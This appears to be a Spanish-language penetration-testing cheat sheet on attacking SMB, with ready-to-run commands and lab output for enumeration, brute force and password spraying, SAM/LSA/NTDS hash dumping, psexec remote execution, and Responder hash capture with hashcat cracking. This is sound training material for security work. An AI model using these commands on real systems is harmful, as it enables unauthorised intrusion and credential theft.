🪬
Gzzcoo Pentest Notes
HomeWalkthroughs
  • Home
  • ACTIVE DIRECTORY PENTESTING
    • Initial Enumeration
      • Enumerating users
    • Abusing Active Directory ACLs/ACEs
      • Shadow Credentials
      • GenericWrite
      • ForceChangePassword
    • Active Directory Certificate Services (ADCS)
    • Attacking Kerberos
    • BloodHound
    • Tools
      • bloodyAD
      • Kerbrute
      • Impacket
      • ldapsearch
      • PowerView.py
  • WINDOWS PENTESTING
    • Windows Privilege Escalation
      • Abusing Tokens
      • AD Recycle Bin Group
      • DnsAdmins to DomainAdmin
      • Dumping credentials
        • Credential Hunting
        • LSASS
        • NTDS.dit
        • SAM and SYSTEM
      • Server Operators Group
  • Windows Lateral Movement
    • Pass the Hash (PtH)
    • Pass the Ticket (PtT)
      • From Windows
      • From Linux
    • Pass the Cert (PtC)
  • File Transfer
    • PowerShell
    • Remote Desktop Protocol (RDP)
    • LOLBAS
    • Protected File Transfers
    • Catching Files over HTTP/S
    • Detection and Evading Detection
  • Reverse Shell
  • PowerShell
  • LINUX PENTESTING
    • Basic Enumeration
    • Linux Privilege Escalation
  • File Transfer
    • Protected File Transfers
    • Catching Files over HTTP/S
    • GTFOBins
  • Shells
  • Reverse Shell
  • Credential Hunting
  • Passwd, Shadow & Opasswd
  • NETWORK SERVICES PENTESTING
    • FTP Port (21)
    • SSH Port (22)
    • DNS Port (53)
    • SMB Port (139, 445)
    • MSSQL Port (1433)
    • MySQL Port (3306)
    • RDP Port (3389)
  • PostgreSQL Port (5432, 5433)
  • Attacking Email Services
  • Pivoting, Tunneling and Port Forwarding
  • WEB PENTESTING
    • Local File Inclusion (LFI)
  • LaTeX Injection
  • Cypher Injection
  • Cross-Site Scripting (XSS)
  • TOOLS
    • John The Ripper
    • NetExec
    • Smbmap
    • Evil-WinRM
  • REVERSING
    • Windows executables and DLL's
    • Android APK
Con tecnología de GitBook
LogoLogo

© 2025 Gzzcoo Corp.

En esta página
  • Introduction
  • Authentication
  • SMBMap
  • smbclient
  • NetExec
  • Misconfigurations
  • Enumerating SMB
  • Nmap
  • NetExec
  • RID Cycling Attack
  • Interacting with SMB service
  • Tools to interact with SMB
  • Windows
  • Windows CMD
  • Windows PowerShell
  • Linux
  • Brute Force and Password Spraying
  • Hydra
  • NetExec
  • Metasploit Framework
  • Remote Code Execution
  • Impacket PsExec
  • CrackMapExec
  • NetExec
  • Forced Authentication Attacks

¿Te fue útil?

Exportar como PDF
  1. NETWORK SERVICES PENTESTING

SMB Port (139, 445)

Introduction

Puerto 139

Puerto 139 es el canal que se utiliza en redes LAN para gestionar las sesiones de NetBIOS. Esto significa que, cuando una aplicación (como cliente) necesita comunicarse con otra (que actúa como servidor), lo hace a través de este puerto utilizando TCP. NetBIOS se encarga de que los dispositivos y aplicaciones se encuentren y se identifiquen en la red mediante nombres de hasta 16 caracteres, que pueden no coincidir con el nombre real del equipo.

En otras palabras, el puerto 139 es el punto de entrada para que las aplicaciones establezcan conexiones y compartan datos dentro de la red. Gracias a este protocolo, se facilita la transmisión de información y la localización de recursos, lo que resulta esencial en entornos donde la comunicación entre varios dispositivos es clave. Aunque en algunas configuraciones modernas se opta por otros métodos y puertos por temas de seguridad, el puerto 139 sigue siendo una parte importante en redes tradicionales y en ciertas aplicaciones que aún dependen de NetBIOS para funcionar correctamente.

139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn

Puerto 445

El Puerto 445 se utiliza para implementar SMB (Server Message Blocks), también conocido en la actualidad como CIFS, sobre TCP/IP. Esto quiere decir que este puerto permite que dispositivos en una red compartan archivos, impresoras y otros recursos de manera directa.

A diferencia del Puerto 139, que opera con NetBIOS sobre IP (es decir, SMB a través de la capa adicional de NetBIOS), el Puerto 445 permite que SMB funcione directamente sobre TCP/IP. En entornos Windows, esto facilita la comunicación al eliminar la necesidad de NetBIOS, haciendo que el intercambio de datos sea más directo y eficiente.

Sin embargo, en otros sistemas o configuraciones que aún dependen de NetBIOS, es posible que se utilice el Puerto 139 para manejar SMB a través de esa capa extra. En resumen, el Puerto 445 ofrece una forma más moderna y optimizada de gestionar el intercambio de recursos en red, mientras que el Puerto 139 puede seguir en uso para mantener compatibilidad con sistemas antiguos o configuraciones específicas.

445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)

SMB

SMB es un protocolo cliente-servidor que facilita el acceso y compartición de recursos en red, como archivos, carpetas e impresoras. Se usa principalmente en entornos Windows, permitiendo la comunicación entre versiones modernas y antiguas, y gracias a Samba, también se implementa en Linux/Unix. Además, usa ACLs para asignar permisos específicos a usuarios o grupos, independientemente de los controles locales.

IPC$ Share

El acceso al recurso compartido IPC$ se puede obtener a través de una sesión nula anónima, permitiendo la interacción con servicios expuestos a través de tuberías con nombre. La utilidad enum4linux es útil para este propósito. Utilizada correctamente, permite la adquisición de:

  • Información sobre el sistema operativo

  • Detalles sobre el dominio padre

  • Una compilación de usuarios y grupos locales

  • Información sobre los recursos compartidos SMB disponibles

  • La política de seguridad del sistema efectiva

Esta funcionalidad es crítica para los administradores de red y profesionales de seguridad para evaluar la postura de seguridad de los servicios SMB (Server Message Block) en una red. enum4linux proporciona una vista completa del entorno SMB del sistema objetivo, lo cual es esencial para identificar vulnerabilidades potenciales y asegurar que los servicios SMB estén debidamente protegidos.

enum4linux -a target_ip

Authentication

SMBMap

SMBMap
# Enumeración de recursos compartidos y permisos sobre ellos (Usuario del dominio)
smbmap -H 10.10.10.10 --no-banner -u 'user' -p 'password' -d domain.htb

# Enumeración de recursos compartidos y permisos sobre ellos (Usuario local)
smbmap -H 10.10.10.10 --no-banner -u 'user' -p 'password' -d WORKGROUP

# Enumeración de recursos compartidos con autenticación de Kerberos
smbmap -H 10.10.10.10 --no-banner -u 'user' -k --no-pass -d domain.htb -dc-ip 10.10.10.10

smbclient

smbclient //10.10.10.10/Recurso -U 'user%password'

NetExec

NetExec
# Autenticación básica para comprobar credenciales válidas con autenticación NTLM.
nxc smb 10.10.10.10 -u 'user' -p 'password'

# Autenticación para comprobar credenciales válidas con autenticación Kerberos.
nxc smb dc.domain.htb -u 'user' -p 'password' -k

# Autenticación para comprobar ticket (.ccache) de Kerberos es válido
nxc smb dc.domain.htb --use-kcache

# Autenticación realizando PassTheHash para verificar si el hash NT es válido.
nxc smb 10.10.10.10 -u 'user' -H '<NTLM_HASH>'

Misconfigurations

Anonymous Authentication

smbclient -L 10.10.10.10 -N 2>/dev/null
smbmap -H 10.10.10.10 --no-banner -u 'guest' -p ''
nxc smb 10.10.10 -u 'guest' -p ''

Enumerating SMB

Nmap

Verificar vulnerabilidades a través de Nmap.

nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}

NetExec

# Enumerar recursos compartidos del SMB que disponemos de permisos.
nxc smb 10.10.10.10 -u 'user' -p 'password' --shares

# Crear un JSON de la estructura de los recursos del SMB para ver dónde hay archivos interesantes.
nxc smb 10.10.10.10 -u 'user' -p 'password' -M spider_plus

# Enumeración completa desde SMB.
nxc smb 10.10.10.10 -u 'user' -p 'password' --groups --local-groups --loggedon-users --rid-brute --sessions --users --shares --pass-pol

SMB logged on users

nxc smb 10.10.10.10 -u 'user' -p 'password' --loggedon-users

SMB active sessions

nxc smb 10.10.10.10 -u 'user' -p 'password' --sessions

SMB download file

nxc smb 10.10.10.10 -u 'user' -p 'password' --share 'SHARE' --get-file 'FILE_TARGET' 'OUTPUT_FILE'

Dumping Hashes

Dumping SAM

nxc smb 10.10.10.10 -u 'user' -p 'password' --sam

Dumping LSASS

nxc smb 10.10.10.10 -u 'user' -p 'password' --lsa

Dumping NTDS.dit

nxc smb 10.10.10.10 -u 'user' -p 'password' --ntds vss

RID Cycling Attack

El RID Cycling Attack se aprovecha del acceso a la compartición IPC$ para comunicarse con el servicio SAM mediante RPC. Esto permite iterar sobre los Relative Identifiers (RIDs) y, de ese modo, enumerar usuarios válidos en el sistema.

Enum4Linux
enum4linux -a 10.10.10.10
NetExec
# Obtener usuarios del dominio a través de RID Cycling Attack si el IPC$ está habilitado
nxc smb 10.10.10.10 -u 'user' -p 'password' --rid-brute

# Obtener solamente el listado de usuarios al realizar RID Cycling Attack
nxc smb 10.10.10.10 -u 'user' -p 'password' --rid-brute | grep SidTypeUser | rev | awk '{print $2}' | rev | awk '{print $2}' FS='\\'
rpcclient
# Enumerar usuarios desde el RID 1000 hasta el 1500, se puede ajustar por el rango deseado. No se necesitan credenciales.

for i in $(seq 1000 1500); do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name"; done | awk '{print $NF}'
impacket-lookupsid
# Enumeración de usuarios con el usuario 'guest' a través de lookupsid
impacket-lookupsid dominio.htb/guest@10.10.10.10 -no-pass

# Mismo comando anterior, pero solo quedándonos con los nombres de usuarios.
impacket-lookupsid dominio.htb/guest@10.10.10.10 -no-pass | grep SidTypeUser | awk '{print $2}' | awk '{print $2}' FS='\\'i

Interacting with SMB service

Tools to interact with SMB

  • NetExec

  • Smbmap

  • smbclient

  • psexec.py

  • smbexec.py

  • Impacket

  • CrackMapExec

Windows

Hay diferentes maneras de interactuar con una carpeta compartida en Windows, y exploraremos un par de ellas. En la interfaz gráfica de Windows, podemos presionar [WINKEY] + [R] para abrir el cuadro de diálogo.

Ejecutar e introducir la ubicación del recurso compartido, por ejemplo: \\192.168.220.129\Finance\

Supongamos que la carpeta compartida permite la autenticación anónima o que nos autenticamos con un usuario con privilegios sobre ella. En ese caso, no recibiremos ninguna solicitud de autenticación y se mostrará el contenido de la carpeta compartida.

Si no tenemos acceso, recibiremos una solicitud de autenticación.

Windows tiene dos consolas de línea de comandos: Command Shell y PowerShell. Cada una es un programa que permite la comunicación directa entre nosotras y el sistema operativo o las aplicaciones, proporcionando un entorno para automatizar tareas administrativas.

Veamos algunos comandos para interactuar con recursos compartidos utilizando Command Shell (CMD) y PowerShell.


Windows CMD

Windows CMD - DIR

El comando dir muestra una lista de los archivos y subdirectorios de un directorio.

C:\htb> dir \\192.168.220.129\Finance\

Volume in drive \\192.168.220.129\Finance has no label.
Volume Serial Number is ABCD-EFAA

Directory of \\192.168.220.129\Finance

02/23/2022  11:35 AM    <DIR>          Contracts
               0 File(s)          4,096 bytes
               1 Dir(s)  15,207,469,056 bytes free

Windows CMD - Net Use

El comando net use conecta un equipo a un recurso compartido, lo desconecta o muestra información sobre las conexiones existentes. Podemos conectarnos a un recurso compartido y asignar su contenido a la letra de unidad n con el siguiente comando.

C:\htb> net use n: \\192.168.220.129\Finance

The command completed successfully.

También podemos proporcionar un nombre de usuario y una contraseña para autenticarnos en el recurso compartido.

C:\htb> net use n: \\192.168.220.129\Finance /user:plaintext Password123

The command completed successfully.

Windows CMD - DIR

Una vez que la carpeta compartida está montada como la unidad N, podemos ejecutar comandos de Windows como si esta carpeta estuviera en nuestro propio equipo.

Veamos cuántos archivos contiene la carpeta compartida y sus subdirectorios.

C:\htb> dir n: /a-d /s /b | find /c ":\"

29302

Encontramos 29.302 archivos. Analicemos el comando:

Syntax
Description

dir

Application

n:

Directory or drive to search

/a-d

/a is the attribute and -d means not directories

/s

Displays files in a specified directory and all subdirectories

/b

Uses bare format (no heading information or summary)

El siguiente comando | find /c ":\\" procesa la salida de dir n: /a-d /s /b para contar cuántos archivos existen en el directorio y sus subdirectorios. Puedes usar dir /? para ver la ayuda completa del comando.

Buscar entre 29,302 archivos puede llevar mucho tiempo, por eso usar scripts o herramientas de línea de comandos nos ayuda a agilizar el proceso. Con dir podemos buscar nombres específicos dentro de los archivos, como por ejemplo:

  • cred

  • password

  • users

  • secrets

  • key

Y también extensiones comunes de código fuente como: .cs, .c, .go, .java, .php, .asp, .aspx, .html.

C:\htb>dir n:\*cred* /s /b

n:\Contracts\private\credentials.txt


C:\htb>dir n:\*secret* /s /b

n:\Contracts\private\secret.txt

Windows CMD - Findstr

Si queremos buscar una palabra específica dentro de los archivos de texto, podemos usar el comando findstr.

c:\htb>findstr /s /i cred n:\*.*

n:\Contracts\private\secret.txt:file with all credentials
n:\Contracts\private\credentials.txt:admin:SecureCredentials!

Windows PowerShell

PowerShell fue diseñada para ampliar las capacidades de la consola de comandos tradicional, permitiendo ejecutar comandos propios llamados cmdlets. Los cmdlets son similares a los comandos de Windows, pero ofrecen un lenguaje de scripting mucho más potente y extensible.

En PowerShell podemos ejecutar tanto comandos de Windows como cmdlets, mientras que la consola de comandos (CMD) solo puede ejecutar comandos tradicionales y no puede usar cmdlets de PowerShell.

Ahora vamos a replicar los mismos comandos usando PowerShell.

PS C:\htb> Get-ChildItem \\192.168.220.129\Finance\

    Directory: \\192.168.220.129\Finance

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         2/23/2022   3:27 PM                Contracts

En lugar de net use, podemos usar New-PSDrive para montar el recurso compartido:

PS C:\htb> New-PSDrive -Name "N" -Root "\\192.168.220.129\Finance" -PSProvider "FileSystem"

Name           Used (GB)     Free (GB) Provider      Root                                               CurrentLocation
----           ---------     --------- --------      ----                                               ---------------
N                                      FileSystem    \\192.168.220.129\Finance

Windows PowerShell - PSCredential Object

Para proporcionar un nombre de usuario y contraseña en PowerShell, necesitamos crear un objeto PSCredential:

PS C:\htb> $username = 'plaintext'
PS C:\htb> $password = 'Password123'
PS C:\htb> $secpassword = ConvertTo-SecureString $password -AsPlainText -Force
PS C:\htb> $cred = New-Object System.Management.Automation.PSCredential $username, $secpassword
PS C:\htb> New-PSDrive -Name "N" -Root "\\192.168.220.129\Finance" -PSProvider "FileSystem" -Credential $cred

Name           Used (GB)     Free (GB) Provider      Root                                                              CurrentLocation
----           ---------     --------- --------      ----                                                              ---------------
N                                      FileSystem    \\192.168.220.129\Finance

Windows PowerShell - GCI

Podemos usar Get-ChildItem (o su alias gci) para buscar archivos de forma recursiva:

PS C:\htb> N:
PS N:\> (Get-ChildItem -File -Recurse | Measure-Object).Count

29302

Buscar archivos que contengan “cred” en el nombre:

PS C:\htb> Get-ChildItem -Recurse -Path N:\ -Include *cred* -File

    Directory: N:\Contracts\private

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         2/23/2022   4:36 PM             25 credentials.txt

Windows PowerShell - Select-String

El cmdlet Select-String utiliza coincidencias con expresiones regulares para buscar patrones de texto en cadenas de entrada y archivos. Podemos usar Select-String de forma similar a grep en UNIX o findstr.exe en Windows.

PS C:\htb> Get-ChildItem -Recurse -Path N:\ | Select-String "cred" -List

N:\Contracts\private\secret.txt:1:file with all credentials
N:\Contracts\private\credentials.txt:1:admin:SecureCredentials!

La línea de comandos permite automatizar tareas rutinarias como la gestión de cuentas de usuario, copias de seguridad nocturnas o la interacción con muchos archivos. Podemos realizar estas operaciones de forma más eficiente utilizando scripts en lugar de la interfaz gráfica (GUI).


Linux

Linux (UNIX) también puede usarse para explorar y montar recursos compartidos SMB. Esto puede hacerse tanto si el servidor de destino es una máquina Windows como si es un servidor Samba. Aunque algunas distribuciones de Linux tienen interfaz gráfica, aquí nos enfocaremos en el uso de herramientas y utilidades de línea de comandos para interactuar con SMB.

Veamos cómo montar recursos compartidos SMB para interactuar localmente con directorios y archivos.

Linux - Mount

gzzcoo@htb[/htb]$ sudo mkdir /mnt/Finance
gzzcoo@htb[/htb]$ sudo mount -t cifs -o username=plaintext,password=Password123,domain=. //192.168.220.129/Finance /mnt/Finance

Como alternativa, podemos usar un archivo de credenciales:

gzzcoo@htb[/htb]$ mount -t cifs //192.168.220.129/Finance /mnt/Finance -o credentials=/path/credentialfile

El archivo credentialfile debe tener esta estructura:

username=plaintext
password=Password123
domain=.

Nota: necesitamos tener instalado cifs-utils para conectarnos a un recurso compartido SMB. Para instalarlo podemos usar:

sudo apt install cifs-utils

Linux - Find and Grep

Una vez montada la carpeta compartida, podemos usar herramientas comunes de Linux como find o grep para interactuar con la estructura de archivos.

Buscar un archivo cuyo nombre contenga la cadena cred:

gzzcoo@htb[/htb]$ find /mnt/Finance/ -name *cred*

/mnt/Finance/Contracts/private/credentials.txt
gzzcoo@htb[/htb]$ grep -rn /mnt/Finance/ -ie cred

/mnt/Finance/Contracts/private/credentials.txt:1:admin:SecureCredentials!
/mnt/Finance/Contracts/private/secret.txt:1:file with all credentials

Brute Force and Password Spraying

Hydra

gzzcoo@htb[/htb]$ hydra -L user.list -P password.list smb://10.129.42.197

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-06 19:37:31
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 25 login tries (l:5236/p:4987234), ~25 tries per task
[DATA] attacking smb://10.129.42.197:445/
[445][smb] host: 10.129.42.197   login: user   password: password
1 of 1 target successfully completed, 1 valid passwords found

NetExec

NetExec

# Password Spraying sobre un usuario para probar un listado de contraseñas.
nxc smb 10.10.10.10 -u 'user' -p passwords.txt --continue-on-success

# Password Spraying con una contraseña sobre un listado de usuarios.
nxc smb 10.10.10.10 -u users.txt -p 'Password01!' --continue-on-success

# Password Spraying sin BruteForce, probar 1 línea de users con 1 línea de passwords, succesivamente.
nxc smb 10.10.10.10 -u users.txt -p passwords.txt --no-bruteforce

# Ataque de fuerza bruta con un listado de usuarios y contraseñas.
nxc smb 10.10.10.10 -u users.txt -p passwords.txt --continue-on-success

Metasploit Framework

gzzcoo@htb[/htb]$ msfconsole -q

msf6 > use auxiliary/scanner/smb/smb_login
msf6 auxiliary(scanner/smb/smb_login) > options 

Module options (auxiliary/scanner/smb/smb_login):

   Name               Current Setting  Required  Description
   ----               ---------------  --------  -----------
   ABORT_ON_LOCKOUT   false            yes       Abort the run when an account lockout is detected
   BLANK_PASSWORDS    false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED   5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS       false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS        false            no        Add all passwords in the current database to the list
   DB_ALL_USERS       false            no        Add all users in the current database to the list
   DB_SKIP_EXISTING   none             no        Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
   DETECT_ANY_AUTH    false            no        Enable detection of systems accepting any authentication
   DETECT_ANY_DOMAIN  false            no        Detect if domain is required for the specified user
   PASS_FILE                           no        File containing passwords, one per line
   PRESERVE_DOMAINS   true             no        Respect a username that contains a domain name.
   Proxies                             no        A proxy chain of format type:host:port[,type:host:port][...]
   RECORD_GUEST       false            no        Record guest-privileged random logins to the database
   RHOSTS                              yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT              445              yes       The SMB service port (TCP)
   SMBDomain          .                no        The Windows domain to use for authentication
   SMBPass                             no        The password for the specified username
   SMBUser                             no        The username to authenticate as
   STOP_ON_SUCCESS    false            yes       Stop guessing when a credential works for a host
   THREADS            1                yes       The number of concurrent threads (max one per host)
   USERPASS_FILE                       no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS       false            no        Try the username as the password for all users
   USER_FILE                           no        File containing usernames, one per line
   VERBOSE            true             yes       Whether to print output for all attempts


msf6 auxiliary(scanner/smb/smb_login) > set user_file user.list

user_file => user.list


msf6 auxiliary(scanner/smb/smb_login) > set pass_file password.list

pass_file => password.list


msf6 auxiliary(scanner/smb/smb_login) > set rhosts 10.129.42.197

rhosts => 10.129.42.197

msf6 auxiliary(scanner/smb/smb_login) > run

[+] 10.129.42.197:445     - 10.129.42.197:445 - Success: '.\user:password'
[*] 10.129.42.197:445     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Remote Code Execution

Antes de ver cómo ejecutar comandos en un sistema remoto usando SMB, hablemos de Sysinternals. El sitio web de Windows Sysinternals fue creado en 1996 por Mark Russinovich y Bryce Cogswell, ofreciendo herramientas y recursos técnicos para administrar, diagnosticar, solucionar problemas y monitorear entornos Windows. Microsoft adquirió Sysinternals el 18 de julio de 2006.

Sysinternals incluía varias herramientas gratuitas para administrar sistemas Windows, y una de las más conocidas es PsExec.

PsExec nos permite ejecutar procesos en sistemas remotos sin necesidad de instalar software cliente. Funciona porque lleva un servicio de Windows incorporado dentro de su ejecutable. Este servicio se copia en el recurso compartido admin$ de la máquina remota y se inicia utilizando la API del Service Control Manager a través de DCE/RPC sobre SMB. Luego, se crea una named pipe para enviar los comandos al sistema.

Además de la versión oficial de PsExec, existen implementaciones en Linux, como:

  • Impacket PsExec – Implementación en Python basada en RemComSvc.

  • Impacket SMBExec – Similar a PsExec, pero sin usar RemComSvc. Usa un servidor SMB local para recibir salida.

  • Impacket atexec – Ejecuta comandos usando el Task Scheduler.

  • CrackMapExec – Incluye implementación de smbexec y atexec.

  • Metasploit PsExec – Implementación en Ruby del módulo PsExec.


Impacket PsExec

Para usar impacket-psexec, necesitamos proporcionar el dominio/usuario, la contraseña y la dirección IP de la máquina objetivo. Para obtener información más detallada, podemos usar la ayuda de impacket:

gzzcoo@htb[/htb]$ impacket-psexec -h

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

usage: psexec.py [-h] [-c pathname] [-path PATH] [-file FILE] [-ts] [-debug] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-keytab KEYTAB] [-dc-ip ip address]
                 [-target-ip ip address] [-port [destination port]] [-service-name service_name] [-remote-binary-name remote_binary_name]
                 target [command ...]

PSEXEC like functionality example using RemComSvc.

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
  command               command (or arguments if -c is used) to execute at the target (w/o path) - (default:cmd.exe)

optional arguments:
  -h, --help            show this help message and exit
  -c pathname           copy the filename for later execution, arguments are passed in the command option
  -path PATH            path of the command to execute
  -file FILE            alternative RemCom binary (be sure it doesn't require CRT)
  -ts                   adds timestamp to every logging output
  -debug                Turn DEBUG output ON

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the
                        ones specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256 bits)
  -keytab KEYTAB        Read keys for SPN from keytab file

connection:
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve
                        it
  -port [destination port]
                        Destination port to connect to SMB Server
  -service-name service_name
                        The name of the service used to trigger the payload
  -remote-binary-name remote_binary_name
                        This will be the name of the executable uploaded on the target

Para conectarnos a una máquina remota usando una cuenta de administrador local con impacket-psexec, podemos utilizar el siguiente comando:

gzzcoo@htb[/htb]$ impacket-psexec administrator:'Password123!'@10.10.110.17

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 10.10.110.17.....
[*] Found writable share ADMIN$
[*] Uploading file EHtJXgng.exe
[*] Opening SVCManager on 10.10.110.17.....
[*] Creating service nbAc on 10.10.110.17.....
[*] Starting service nbAc.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19041.1415]
(c) Microsoft Corporation. All rights reserved.


C:\Windows\system32>whoami && hostname

nt authority\system
WIN7BOX

Las mismas opciones se aplican a las herramientas impacket-smbexec e impacket-atexec.


CrackMapExec

Otra herramienta que podemos usar para ejecutar comandos CMD o PowerShell es CrackMapExec. Una de sus ventajas es que permite ejecutar comandos en múltiples hosts al mismo tiempo.

Para usarla, debemos especificar:

  • el protocolo, por ejemplo smb

  • la IP o rango de IPs

  • la opción -u para el nombre de usuario

  • la opción -p para la contraseña

  • la opción -x para ejecutar comandos CMD

  • la opción -X (mayúscula) para ejecutar comandos PowerShell

gzzcoo@htb[/htb]$ crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec

SMB         10.10.110.17 445    WIN7BOX  [*] Windows 10.0 Build 19041 (name:WIN7BOX) (domain:.) (signing:False) (SMBv1:False)
SMB         10.10.110.17 445    WIN7BOX  [+] .\Administrator:Password123! (Pwn3d!)
SMB         10.10.110.17 445    WIN7BOX  [+] Executed command via smbexec
SMB         10.10.110.17 445    WIN7BOX  nt authority\system

NetExec

gzzcoo@htb[/htb]$ crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec

SMB         10.10.110.17 445    WIN7BOX  [*] Windows 10.0 Build 19041 (name:WIN7BOX) (domain:.) (signing:False) (SMBv1:False)
SMB         10.10.110.17 445    WIN7BOX  [+] .\Administrator:Password123! (Pwn3d!)
SMB         10.10.110.17 445    WIN7BOX  [+] Executed command via smbexec
SMB         10.10.110.17 445    WIN7BOX  nt authority\system

Forced Authentication Attacks

También podemos abusar del protocolo SMB creando un servidor SMB falso para capturar los hashes NetNTLM v1/v2 de los usuarios.

La herramienta más común para esto es Responder. Responder es una herramienta de envenenamiento de LLMNR, NBT-NS y MDNS, con varias funcionalidades, entre ellas la posibilidad de levantar servicios falsos, como SMB, para capturar hashes NetNTLM. En su configuración por defecto, escucha tráfico LLMNR y NBT-NS, responde en nombre de los servidores que la víctima busca, y captura los hashes que se generen.

Imaginemos un ejemplo: creamos un servidor SMB falso con Responder usando su configuración por defecto:

gzzcoo@htb[/htb]$ responder -I <interface name>

Cuando una máquina necesita resolver un nombre (Name Resolution), sigue un flujo como este:

  1. Verifica el archivo hosts local (C:\Windows\System32\Drivers\etc\hosts)

  2. Consulta el caché local DNS

  3. Consulta un servidor DNS configurado

  4. Si todo falla, lanza una consulta multicast (LLMNR/NBT-NS)

Si un usuario comete un error al escribir el nombre de una carpeta compartida (por ejemplo, \\mysharefoder\ en lugar de \\mysharedfolder\), y ese nombre no existe, se lanza una consulta a toda la red, incluyéndonos a nosotras con el servidor falso. El sistema no valida las respuestas, así que podemos engañarlo fácilmente y capturar credenciales.

gzzcoo@htb[/htb]$ sudo responder -I ens33

                                         __               
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|              

           NBT-NS, LLMNR & MDNS Responder 3.0.6.0
               
  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C

[+] Poisoners:                
    LLMNR                      [ON]
    NBT-NS                     [ON]        
    DNS/MDNS                   [ON]   
                                                                                                                                                                                          
[+] Servers:         
    HTTP server                [ON]                                   
    HTTPS server               [ON]
    WPAD proxy                 [OFF]                                  
    Auth proxy                 [OFF]
    SMB server                 [ON]                                   
    Kerberos server            [ON]                                   
    SQL server                 [ON]                                   
    FTP server                 [ON]                                   
    IMAP server                [ON]                                   
    POP3 server                [ON]                                   
    SMTP server                [ON]                                   
    DNS server                 [ON]                                   
    LDAP server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]                                   
                                                                                   
[+] HTTP Options:                                                                  
    Always serving EXE         [OFF]                                               
    Serving EXE                [OFF]                                               
    Serving HTML               [OFF]                                               
    Upstream Proxy             [OFF]                                               

[+] Poisoning Options:                                                             
    Analyze Mode               [OFF]                                               
    Force WPAD auth            [OFF]                                               
    Force Basic Auth           [OFF]                                               
    Force LM downgrade         [OFF]                                               
    Fingerprint hosts          [OFF]                                               

[+] Generic Options:                                                               
    Responder NIC              [tun0]                                              
    Responder IP               [10.10.14.198]                                      
    Challenge set              [random]                                            
    Don't Respond To Names     ['ISATAP']                                          

[+] Current Session Variables:                                                     
    Responder Machine Name     [WIN-2TY1Z1CIGXH]   
    Responder Domain Name      [HF2L.LOCAL]                                        
    Responder DCE-RPC Port     [48162] 

[+] Listening for events... 

[*] [NBT-NS] Poisoned answer sent to 10.10.110.17 for name WORKGROUP (service: Domain Master Browser)
[*] [NBT-NS] Poisoned answer sent to 10.10.110.17 for name WORKGROUP (service: Browser Election)
[*] [MDNS] Poisoned answer sent to 10.10.110.17   for name mysharefoder.local
[*] [LLMNR]  Poisoned answer sent to 10.10.110.17 for name mysharefoder
[*] [MDNS] Poisoned answer sent to 10.10.110.17   for name mysharefoder.local
[SMB] NTLMv2-SSP Client   : 10.10.110.17
[SMB] NTLMv2-SSP Username : WIN7BOX\demouser
[SMB] NTLMv2-SSP Hash     : demouser::WIN7BOX:997b18cc61099ba2:3CC46296B0CCFC7A231D918AE1DAE521:0101000000000000B09B51939BA6D40140C54ED46AD58E890000000002000E004E004F004D00410054004300480001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D0042003100320008003000300000000000000000000000003000004289286EDA193B087E214F3E16E2BE88FEC5D9FF73197456C9A6861FF5B5D3330000000000000000

Estas credenciales capturadas pueden ser crackeadas con hashcat o retransmitidas a una máquina remota para completar la autenticación e impersonar al usuario.

Todos los hashes capturados se guardan en el directorio de logs de Responder: /usr/share/responder/logs/

Nota: si ves múltiples hashes para una misma cuenta, es porque NTLMv2 usa un challenge tanto del cliente como del servidor, y ambos son aleatorios en cada interacción. Esto hace que los hashes generados estén salteados con cadenas aleatorias, por lo tanto no coinciden entre sí, aunque representen la misma contraseña.

gzzcoo@htb[/htb]$ hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

hashcat (v6.1.1) starting...

<SNIP>

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344386
* Bytes.....: 139921355
* Keyspace..: 14344386

